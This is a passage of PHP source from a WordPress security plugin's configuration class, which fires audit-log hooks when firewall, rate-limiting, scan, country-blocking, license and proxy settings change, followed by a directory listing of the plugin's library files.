				$after = wfUtils::truthyToBoolean($newValue);
				
				if ($before != $after) {
					/**
					 * Fires when the prevent `admin` as a username during registration setting is enabled/disabled.
					 *
					 * @param bool $before The previous status.
					 * @param bool $after The new status.
					 * @since 8.0.0
					 *
					 */
					do_action('wordfence_toggled_prevent_admin_username', $before, $after);
				}
				break;
			}
			case 'loginSec_disableAuthorScan':
			{
				$before = wfUtils::truthyToBoolean(wfConfig::get($key));
				$after = wfUtils::truthyToBoolean($newValue);
				
				if ($before != $after) {
					/**
					 * Fires when the prevent discovery of usernames through a variety of endpoints setting is enabled/disabled.
					 *
					 * @param bool $before The previous status.
					 * @param bool $after The new status.
					 * @since 8.0.0
					 *
					 */
					do_action('wordfence_toggled_block_author_scan', $before, $after);
				}
				break;
			}
			case 'loginSec_disableApplicationPasswords':
			{
				$before = wfUtils::truthyToBoolean(wfConfig::get($key));
				$after = wfUtils::truthyToBoolean($newValue);
				
				if ($before != $after) {
					/**
					 * Fires when the prevent WordPress application passwords setting is enabled/disabled.
					 *
					 * @param bool $before The previous status.
					 * @param bool $after The new status.
					 * @since 8.0.0
					 *
					 */
					do_action('wordfence_toggled_prevent_application_passwords', $before, $after);
				}
				break;
			}
			case 'other_blockBadPOST':
			{
				$before = wfUtils::truthyToBoolean(wfConfig::get($key));
				$after = wfUtils::truthyToBoolean($newValue);
				
				if ($before != $after) {
					/**
					 * Fires when the block bad POST requests setting is enabled/disabled.
					 *
					 * @param bool $before The previous status.
					 * @param bool $after The new status.
					 * @since 8.0.0
					 *
					 */
					do_action('wordfence_toggled_block_bad_post', $before, $after);
				}
				break;
			}
			case 'blockCustomText':
			{
				$before = wfConfig::get($key);
				$after = $newValue;
				
				if ($before != $after) {
					/**
					 * Fires when the custom block page text changes.
					 *
					 * @param string $before The previous text.
					 * @param string $after The new text.
					 * @since 8.0.0
					 *
					 */
					do_action('wordfence_updated_custom_block_text', $before, $after);
				}
				break;
			}
			case 'other_pwStrengthOnUpdate':
			{
				$before = wfUtils::truthyToBoolean(wfConfig::get($key));
				$after = wfUtils::truthyToBoolean($newValue);
				
				if ($before != $after) {
					/**
					 * Fires when the check password strength when changed setting is enabled/disabled.
					 *
					 * @param bool $before The previous status.
					 * @param bool $after The new status.
					 * @since 8.0.0
					 *
					 */
					do_action('wordfence_toggled_change_password_check_strength', $before, $after);
				}
				break;
			}
			case 'other_WFNet':
			{
				$before = wfUtils::truthyToBoolean(wfConfig::get($key));
				$after = wfUtils::truthyToBoolean($newValue);
				
				/**
				 * Fires when the participate in the Wordfence Security Network setting is enabled/disabled.
				 *
				 * @since 8.0.0
				 *
				 * @param bool $before The previous status.
				 * @param bool $after The new status.
				 */
				do_action('wordfence_toggled_participate_security_network', $before, $after);
				break;
			}
			case 'firewallEnabled':
			{
				$before = wfUtils::truthyToBoolean(wfConfig::get($key));
				$after = wfUtils::truthyToBoolean($newValue);
				
				if ($before != $after) {
					/**
					 * Fires when the rate limiting/advanced blocking setting is enabled/disabled.
					 *
					 * @param bool $before The previous status.
					 * @param bool $after The new status.
					 * @since 8.0.0
					 *
					 */
					do_action('wordfence_toggled_general_rate_limiting_blocking', $before, $after);
				}
				break;
			}
			case 'neverBlockBG':
			{
				$before = wfConfig::get($key);
				$after = $newValue;
				
				if ($before != $after) {
					/**
					 * Fires when the never block crawlers setting is enabled/disabled.
					 *
					 * @param string $before The previous status.
					 * @param string $after The new status.
					 * @since 8.0.0
					 *
					 */
					do_action('wordfence_toggled_never_block_crawlers', $before, $after);
				}
				break;
			}
			case 'maxGlobalRequests':
			case 'maxGlobalRequests_action':
			{
				preg_match('/([^_]+)_?(.*)$/', $key, $matches);
				$stem = $matches[1];
				$sub = empty($matches[2]) ? 'threshold' : $matches[2];
				$before = array(
					'threshold' => wfConfig::get($stem),
					'action' => wfConfig::get("{$stem}_action"),
				);
				$after = $before;
				switch ($sub) {
					case 'threshold':
						$after[$sub] = $newValue;
						break;
					case 'action':
						$after[$sub] = $newValue;
						break;
				}
				
				if ($before != $after) {
					/**
					 * Fires when the max global requests rate limit setting changes.
					 *
					 * @since 8.0.0
					 *
					 * @param array $before {
					 * 		The previous setting value.
					 * 
					 * 		@type int|string $threshold The number of requests before the rate limit is enforced
					 * 		@type string $action The action taken when enforcing the rate limit
					 * }
					 * @param array $after {
					 * 		The new setting value.
					 *
					 * 		@type int|string $threshold The number of requests before the rate limit is enforced
					 * 		@type string $action The action taken when enforcing the rate limit
					 * }
					 */
					do_action('wordfence_updated_max_global_requests', $before, $after);
				}
				break;
			}
			case 'maxRequestsCrawlers':
			case 'maxRequestsCrawlers_action':
			{
				preg_match('/([^_]+)_?(.*)$/', $key, $matches);
				$stem = $matches[1];
				$sub = empty($matches[2]) ? 'threshold' : $matches[2];
				$before = array(
					'threshold' => wfConfig::get($stem),
					'action' => wfConfig::get("{$stem}_action"),
				);
				$after = $before;
				switch ($sub) {
					case 'threshold':
						$after[$sub] = $newValue;
						break;
					case 'action':
						$after[$sub] = $newValue;
						break;
				}
				
				if ($before != $after) {
					/**
					 * Fires when the max crawler requests rate limit setting changes.
					 *
					 * @since 8.0.0
					 *
					 * @param array $before {
					 * 		The previous setting value.
					 *
					 * 		@type int|string $threshold The number of requests before the rate limit is enforced
					 * 		@type string $action The action taken when enforcing the rate limit
					 * }
					 * @param array $after {
					 * 		The new setting value.
					 *
					 * 		@type int|string $threshold The number of requests before the rate limit is enforced
					 * 		@type string $action The action taken when enforcing the rate limit
					 * }
					 */
					do_action('wordfence_updated_max_crawler_requests', $before, $after);
				}
				break;
			}
			case 'max404Crawlers':
			case 'max404Crawlers_action':
			{
				preg_match('/([^_]+)_?(.*)$/', $key, $matches);
				$stem = $matches[1];
				$sub = empty($matches[2]) ? 'threshold' : $matches[2];
				$before = array(
					'threshold' => wfConfig::get($stem),
					'action' => wfConfig::get("{$stem}_action"),
				);
				$after = $before;
				switch ($sub) {
					case 'threshold':
						$after[$sub] = $newValue;
						break;
					case 'action':
						$after[$sub] = $newValue;
						break;
				}
				
				if ($before != $after) {
					/**
					 * Fires when the max crawler 404s rate limit changes.
					 *
					 * @since 8.0.0
					 *
					 * @param array $before {
					 * 		The previous setting value.
					 *
					 * 		@type int|string $threshold The number of requests before the rate limit is enforced
					 * 		@type string $action The action taken when enforcing the rate limit
					 * }
					 * @param array $after {
					 * 		The new setting value.
					 *
					 * 		@type int|string $threshold The number of requests before the rate limit is enforced
					 * 		@type string $action The action taken when enforcing the rate limit
					 * }
					 */
					do_action('wordfence_updated_max_crawler_404', $before, $after);
				}
				break;
			}
			case 'maxRequestsHumans':
			case 'maxRequestsHumans_action':
			{
				preg_match('/([^_]+)_?(.*)$/', $key, $matches);
				$stem = $matches[1];
				$sub = empty($matches[2]) ? 'threshold' : $matches[2];
				$before = array(
					'threshold' => wfConfig::get($stem),
					'action' => wfConfig::get("{$stem}_action"),
				);
				$after = $before;
				switch ($sub) {
					case 'threshold':
						$after[$sub] = $newValue;
						break;
					case 'action':
						$after[$sub] = $newValue;
						break;
				}
				
				if ($before != $after) {
					/**
					 * Fires when the max human requests rate limit changes.
					 *
					 * @since 8.0.0
					 *
					 * @param array $before {
					 * 		The previous setting value.
					 *
					 * 		@type int|string $threshold The number of requests before the rate limit is enforced
					 * 		@type string $action The action taken when enforcing the rate limit
					 * }
					 * @param array $after {
					 * 		The new setting value.
					 *
					 * 		@type int|string $threshold The number of requests before the rate limit is enforced
					 * 		@type string $action The action taken when enforcing the rate limit
					 * }
					 */
					do_action('wordfence_updated_max_human_requests', $before, $after);
				}
				break;
			}
			case 'max404Humans':
			case 'max404Humans_action':
			{
				preg_match('/([^_]+)_?(.*)$/', $key, $matches);
				$stem = $matches[1];
				$sub = empty($matches[2]) ? 'threshold' : $matches[2];
				$before = array(
					'threshold' => wfConfig::get($stem),
					'action' => wfConfig::get("{$stem}_action"),
				);
				$after = $before;
				switch ($sub) {
					case 'threshold':
						$after[$sub] = $newValue;
						break;
					case 'action':
						$after[$sub] = $newValue;
						break;
				}
				
				if ($before != $after) {
					/**
					 * Fires when the max human 404s rate limit changes.
					 *
					 * @since 8.0.0
					 *
					 * @param array $before {
					 * 		The previous setting value.
					 *
					 * 		@type int|string $threshold The number of requests before the rate limit is enforced
					 * 		@type string $action The action taken when enforcing the rate limit
					 * }
					 * @param array $after {
					 * 		The new setting value.
					 *
					 * 		@type int|string $threshold The number of requests before the rate limit is enforced
					 * 		@type string $action The action taken when enforcing the rate limit
					 * }
					 */
					do_action('wordfence_updated_max_human_404', $before, $after);
				}
				break;
			}
			case 'blockedTime':
			{
				$before = intval(wfConfig::get($key));
				$after = intval($newValue);
				
				if ($before != $after) {
					/**
					 * Fires when the block duration changes.
					 *
					 * @param int $before The previous value.
					 * @param int $after The new value.
					 * @since 8.0.0
					 *
					 */
					do_action('wordfence_updated_block_duration', $before, $after);
				}
				break;
			}
			case 'allowed404s':
			{
				$before = array_filter(preg_split('/[\r\n]+/', wfConfig::get($key)));
				$after = array_filter(preg_split('/[\r\n]+/', $newValue));
				
				/**
				 * Fires when the allowed 404 URL list changes.
				 *
				 * @since 8.0.0
				 *
				 * @param string[] $before The previous list.
				 * @param string[] $after The new list.
				 */
				do_action('wordfence_updated_allowed_404', $before, $after);
				break;
			}
			case 'scansEnabled_checkGSB':
			case 'spamvertizeCheck':
			case 'checkSpamIP':
			case 'scansEnabled_checkHowGetIPs':
			case 'scansEnabled_checkReadableConfig':
			case 'scansEnabled_suspectedFiles':
			case 'scansEnabled_core':
			case 'scansEnabled_themes':
			case 'scansEnabled_plugins':
			case 'scansEnabled_coreUnknown':
			case 'scansEnabled_malware':
			case 'scansEnabled_fileContents':
			case 'scansEnabled_fileContentsGSB':
			case 'scansEnabled_posts':
			case 'scansEnabled_comments':
			case 'scansEnabled_suspiciousOptions':
			case 'scansEnabled_oldVersions':
			case 'scansEnabled_suspiciousAdminUsers':
			case 'scansEnabled_passwds':
			case 'scansEnabled_diskSpace':
			case 'scansEnabled_wafStatus':
			case 'other_scanOutside':
			case 'scansEnabled_scanImages':
			case 'lowResourceScansEnabled':
			case 'scan_maxIssues':
			case 'scan_maxDuration':
			case 'maxMem':
			case 'maxExecutionTime':
			case 'scan_exclude':
			case 'scan_include_extra':
			case 'scan_force_ipv4_start':
			case 'scan_max_resume_attempts':
			{
				$options = array(
					'scansEnabled_checkGSB' => self::TYPE_BOOL,
					'spamvertizeCheck' => self::TYPE_BOOL,
					'checkSpamIP' => self::TYPE_BOOL,
					'scansEnabled_checkHowGetIPs' => self::TYPE_BOOL,
					'scansEnabled_checkReadableConfig' => self::TYPE_BOOL,
					'scansEnabled_suspectedFiles' => self::TYPE_BOOL,
					'scansEnabled_core' => self::TYPE_BOOL,
					'scansEnabled_themes' => self::TYPE_BOOL,
					'scansEnabled_plugins' => self::TYPE_BOOL,
					'scansEnabled_coreUnknown' => self::TYPE_BOOL,
					'scansEnabled_malware' => self::TYPE_BOOL,
					'scansEnabled_fileContents' => self::TYPE_BOOL,
					'scansEnabled_fileContentsGSB' => self::TYPE_BOOL,
					'scansEnabled_posts' => self::TYPE_BOOL,
					'scansEnabled_comments' => self::TYPE_BOOL,
					'scansEnabled_suspiciousOptions' => self::TYPE_BOOL,
					'scansEnabled_oldVersions' => self::TYPE_BOOL,
					'scansEnabled_suspiciousAdminUsers' => self::TYPE_BOOL,
					'scansEnabled_passwds' => self::TYPE_BOOL,
					'scansEnabled_diskSpace' => self::TYPE_BOOL,
					'scansEnabled_wafStatus' => self::TYPE_BOOL,
					'other_scanOutside' => self::TYPE_BOOL,
					'scansEnabled_scanImages' => self::TYPE_BOOL,
					
					'lowResourceScansEnabled' => self::TYPE_BOOL,
					'scan_maxIssues' => self::TYPE_INT,
					'scan_maxDuration' => self::TYPE_INT,
					'maxMem' => self::TYPE_INT,
					'maxExecutionTime' => self::TYPE_INT,
					
					'scan_exclude' => self::TYPE_MULTI_STRING,
					'scan_include_extra' => self::TYPE_MULTI_STRING,
					'scan_force_ipv4_start' => self::TYPE_BOOL,
					'scan_max_resume_attempts' => self::TYPE_INT,
				);
				
				$before = array();
				$after = array();
				foreach ($options as $k => $t) {
					$rawBefore = wfConfig::get($k);
					$rawAfter = ($key == $k ? $newValue : $rawBefore);
					switch ($t) { //Not all types are implemented -- only those that we use in the array above
						case self::TYPE_BOOL:
							$before[$k] = wfUtils::truthyToBoolean($rawBefore);
							$after[$k] = wfUtils::truthyToBoolean($rawAfter);
							break;
						case self::TYPE_INT:
							$before[$k] = intval($rawBefore);
							$after[$k] = intval($rawAfter);
							break;
						case self::TYPE_STRING:
							$before[$k] = $rawBefore;
							$after[$k] = $rawAfter;
							break;
						case self::TYPE_MULTI_STRING:
							$before[$k] = array_filter(preg_split('/[\r\n]+/', $rawBefore));
							$after[$k] = array_filter(preg_split('/[\r\n]+/', $rawAfter));
							break;
					}
				}
				
				if ($before != $after) {
					/**
					 * Fires when the scan options change. This may be called multiple times if multiple options are 
					 * changed (once each).
					 *
					 * @since 8.0.0
					 *
					 * @param string[] $before The previous options.
					 * @param string[] $after The new options.
					 */
					do_action('wordfence_updated_scan_options', $before, $after);
				}
				break;
			}
			case 'scheduledScansEnabled':
			case 'schedMode':
			case 'manualScanType':
			case 'schedStartHour':
			case 'scanSched':
			{
				$options = array(
					'scheduledScansEnabled' => self::TYPE_BOOL,
					'schedMode' => self::TYPE_STRING,
					'manualScanType' => self::TYPE_STRING,
					'schedStartHour' => self::TYPE_INT,
					'scanSched' => self::TYPE_ARRAY,
				);
				
				$before = array();
				$after = array();
				foreach ($options as $k => $t) {
					switch ($t) { //Not all types are implemented -- only those that we use in the array above
						case self::TYPE_BOOL:
							$rawBefore = wfConfig::get($k);
							$rawAfter = ($key == $k ? $newValue : $rawBefore);
							$before[$k] = wfUtils::truthyToBoolean($rawBefore);
							$after[$k] = wfUtils::truthyToBoolean($rawAfter);
							break;
						case self::TYPE_INT:
							$rawBefore = wfConfig::get($k);
							$rawAfter = ($key == $k ? $newValue : $rawBefore);
							$before[$k] = intval($rawBefore);
							$after[$k] = intval($rawAfter);
							break;
						case self::TYPE_STRING:
							$rawBefore = wfConfig::get($k);
							$rawAfter = ($key == $k ? $newValue : $rawBefore);
							$before[$k] = $rawBefore;
							$after[$k] = $rawAfter;
							break;
						case self::TYPE_ARRAY:
							$rawBefore = wfConfig::get_ser($k, array());
							$rawAfter = ($key == $k ? $newValue : $rawBefore);
							$before[$k] = $rawBefore;
							$after[$k] = $rawAfter;
							break;
					}
				}
				
				if ($before != $after) {
					/**
					 * Fires when the scan scheduling change. This may be called multiple times if multiple options are
					 * changed (once each).
					 *
					 * @since 8.0.0
					 *
					 * @param string[] $before The previous schedule/options.
					 * @param string[] $after The new schedule/options.
					 */
					do_action('wordfence_updated_scan_schedule', $before, $after);
				}
				break;
			}
			case 'cbl_loggedInBlocked':
			case 'cbl_action':
			case 'cbl_redirURL':
			case 'cbl_bypassRedirURL':
			case 'cbl_bypassRedirDest':
			case 'cbl_bypassViewURL':
			{
				$block = wfUtils::array_first(wfBlock::countryBlocks(true)); /** @var wfBlock $block */
				$before = array(
					'parameters' => $block ? $block->parameters : null,
					'bypass' => array(
						'cbl_loggedInBlocked' => wfConfig::get('cbl_loggedInBlocked', false),
						'cbl_action' => wfConfig::get('cbl_action'),
						'cbl_redirURL' => wfConfig::get('cbl_redirURL', ''),
						'cbl_bypassRedirURL' => wfConfig::get('cbl_bypassRedirURL', ''),
						'cbl_bypassRedirDest' => wfConfig::get('cbl_bypassRedirDest', ''),
						'cbl_bypassViewURL' => wfConfig::get('cbl_bypassViewURL', ''),
					),
				);
				$after = $before;
				$after['bypass'][$key] = $newValue;
				
				/**
				 * @see wfBlock::createCountry()
				 */
				do_action('wordfence_updated_country_blocking', $before, $after);
				break;
			}
			case 'auditLogMode':
			{
				$before = wfConfig::get($key);
				$after = $newValue;
				
				if ($before != $after) {
					/**
					 * Fires when the audit log recording mode changes.
					 *
					 * @since 8.0.0
					 *
					 * @param string $before The previous status.
					 * @param string $after The new status.
					 */
					do_action('wordfence_changed_audit_log_mode', $before, $after);
				}
				break;
			}
			case 'apiKey':
			{
				$before = wfConfig::get($key);
				$after = $newValue;
				
				if ($before != $after) {
					/**
					 * Fires when the license key changes.
					 *
					 * @since 8.0.0
					 *
					 * @param string $before The previous key.
					 * @param string $after The new key.
					 */
					do_action('wordfence_changed_license_key', $before, $after);
				}
				break;
			}
			case 'howGetIPs':
			{
				$before = wfConfig::get($key);
				$after = $newValue;
				
				if ($before != $after) {
					/**
					 * Fires when the IP source changes.
					 *
					 * @since 8.0.0
					 *
					 * @param string $before The previous value.
					 * @param string $after The new value.
					 */
					do_action('wordfence_changed_ip_source', $before, $after);
				}
				break;
			}
			case 'howGetIPs_trusted_proxies':
			{
				$before = array_filter(preg_split('/[\r\n]+/', wfConfig::get($key)));
				$after = array_filter(preg_split('/[\r\n]+/', $newValue));
				
				if (!(count($before) == count($after) && empty(array_diff($before, $after)))) {
					/**
					 * Fires when the trusted proxy list changes.
					 *
					 * @since 8.0.0
					 *
					 * @param string[] $before The previous list.
					 * @param string[] $after The new list.
					 */
					do_action('wordfence_updated_trusted_proxies', $before, $after);
				}
				break;
			}
			case 'howGetIPs_trusted_proxy_preset':
			{
				$before = wfConfig::get($key);
				$after = $newValue;
				
				if ($before != $after) {
					/**
					 * Fires when the trusted proxy preset changes.
					 *
					 * @since 8.0.0
					 *
					 * @param string $before The previous value.
					 * @param string $after The new value.
					 */
					do_action('wordfence_changed_trusted_proxy_preset', $before, $after);
				}
				break;
			}
			case 'ipResolutionList':
			{
				$before = (array) wfConfig::getJSON($key, array());
				$after = json_decode($newValue, true);
				
				/**
				 * Fires when the trusted proxy list definitions changes.
				 *
				 * @since 8.0.0
				 *
				 * @param array $before The previous definitions.
				 * @param array $after The new definitions.
				 */
				do_action('wordfence_updated_trusted_proxy_preset_definitions', $before, $after);
				break;
			}
		}
	}
}

class wfConfigException extends Exception {}

Filemanager

Name Type Size Permission Actions
Diff Folder 0555
audit-log Folder 0555
dashboard Folder 0555
rest-api Folder 0555
Diff.php File 21.63 KB 0555
GeoLite2-Country.mmdb File 7.46 MB 0644
IPTraf.php File 17.17 KB 0555
IPTrafList.php File 18.99 KB 0555
WFLSPHP52Compatability.php File 17.28 KB 0555
compat.php File 16.42 KB 0555
diffResult.php File 18.81 KB 0555
email_genericAlert.php File 17.39 KB 0555
email_newIssues.php File 24.83 KB 0555
email_unlockRequest.php File 18.35 KB 0555
email_unsubscribeRequest.php File 17.06 KB 0555
flags.php File 22.63 KB 0555
live_activity.php File 16.57 KB 0555
menu_dashboard.php File 44 KB 0555
menu_dashboard_options.php File 31.22 KB 0555
menu_firewall.php File 18.12 KB 0555
menu_firewall_blocking.php File 26.25 KB 0555
menu_firewall_blocking_options.php File 20.63 KB 0555
menu_firewall_waf.php File 35.97 KB 0555
menu_firewall_waf_options.php File 27.1 KB 0555
menu_install.php File 17.73 KB 0555
menu_options.php File 40.7 KB 0555
menu_scanner.php File 37.54 KB 0555
menu_scanner_credentials.php File 18.78 KB 0555
menu_scanner_options.php File 24.42 KB 0555
menu_support.php File 33.82 KB 0555
menu_tools.php File 17.5 KB 0555
menu_tools_auditlog.php File 32.44 KB 0555
menu_tools_diagnostic.php File 65.3 KB 0555
menu_tools_importExport.php File 17.28 KB 0555
menu_tools_livetraffic.php File 55.44 KB 0555
menu_tools_twoFactor.php File 35.6 KB 0555
menu_tools_whois.php File 20.62 KB 0555
menu_wordfence_central.php File 25.66 KB 0555
noc1.key File 1.64 KB 0644
sodium_compat_fast.php File 16.19 KB 0555
sysinfo.php File 17.47 KB 0555
viewFullActivityLog.php File 17.47 KB 0555
wf503.php File 25.63 KB 0555
wfAPI.php File 25.73 KB 0555
wfActivityReport.php File 36.46 KB 0555
wfAdminNoticeQueue.php File 21.2 KB 0555
wfAlerts.php File 23.38 KB 0555
wfArray.php File 17.78 KB 0555
wfAuditLog.php File 63.14 KB 0555
wfBrowscap.php File 19.91 KB 0555
wfBrowscapCache.php File 272.83 KB 0555
wfBulkCountries.php File 25.77 KB 0555
wfCache.php File 22.03 KB 0555
wfCentralAPI.php File 41.72 KB 0555
wfConfig.php File 139.05 KB 0555
wfCrawl.php File 22.57 KB 0555
wfCredentialsController.php File 21.17 KB 0555
wfCrypt.php File 20.05 KB 0555
wfCurlInterceptor.php File 17.03 KB 0555
wfDB.php File 27.49 KB 0555
wfDashboard.php File 24.21 KB 0555
wfDateLocalization.php File 368.13 KB 0555
wfDeactivationOption.php File 18.14 KB 0555
wfDiagnostic.php File 82.51 KB 0555
wfDict.php File 16.72 KB 0555
wfDirectoryIterator.php File 17.89 KB 0555
wfFileUtils.php File 18.72 KB 0555
wfHelperBin.php File 17.97 KB 0555
wfHelperString.php File 18.13 KB 0555
wfIPWhitelist.php File 17.56 KB 0555
wfImportExportController.php File 19.23 KB 0555
wfInaccessibleDirectoryException.php File 16.3 KB 0555
wfInvalidPathException.php File 16.26 KB 0555
wfIpLocation.php File 17.73 KB 0555
wfIpLocator.php File 18.75 KB 0555
wfIssues.php File 43.3 KB 0555
wfJWT.php File 21.33 KB 0555
wfLicense.php File 26.44 KB 0555
wfLockedOut.php File 25.73 KB 0555
wfLog.php File 73.06 KB 0555
wfMD5BloomFilter.php File 21.21 KB 0555
wfModuleController.php File 16.74 KB 0555
wfNotification.php File 22.41 KB 0555
wfOnboardingController.php File 25.23 KB 0555
wfPersistenceController.php File 16.8 KB 0555
wfRESTAPI.php File 377 B 0644
wfScan.php File 31.92 KB 0555
wfScanEngine.php File 149.13 KB 0555
wfScanEntrypoint.php File 17.05 KB 0555
wfScanFile.php File 17.02 KB 0555
wfScanFileLink.php File 16.4 KB 0555
wfScanFileListItem.php File 16.4 KB 0555
wfScanFileProperties.php File 17.07 KB 0555
wfScanMonitor.php File 20.06 KB 0555
wfScanPath.php File 17.78 KB 0555
wfSchema.php File 26.92 KB 0555
wfStyle.php File 17.22 KB 0555
wfSupportController.php File 40.18 KB 0555
wfUnlockMsg.php File 17.14 KB 0555
wfUpdateCheck.php File 43.24 KB 0555
wfUtils.php File 139.89 KB 0555
wfVersionCheckController.php File 35.27 KB 0555
wfVersionSupport.php File 16.53 KB 0555
wfView.php File 18.22 KB 0555
wfViewResult.php File 17.42 KB 0555
wfWebsite.php File 17.75 KB 0555
wordfenceClass.php File 451.84 KB 0555
wordfenceConstants.php File 19.15 KB 0555
wordfenceHash.php File 58.71 KB 0555
wordfenceScanner.php File 46.47 KB 0555
wordfenceURLHoover.php File 34.37 KB 0555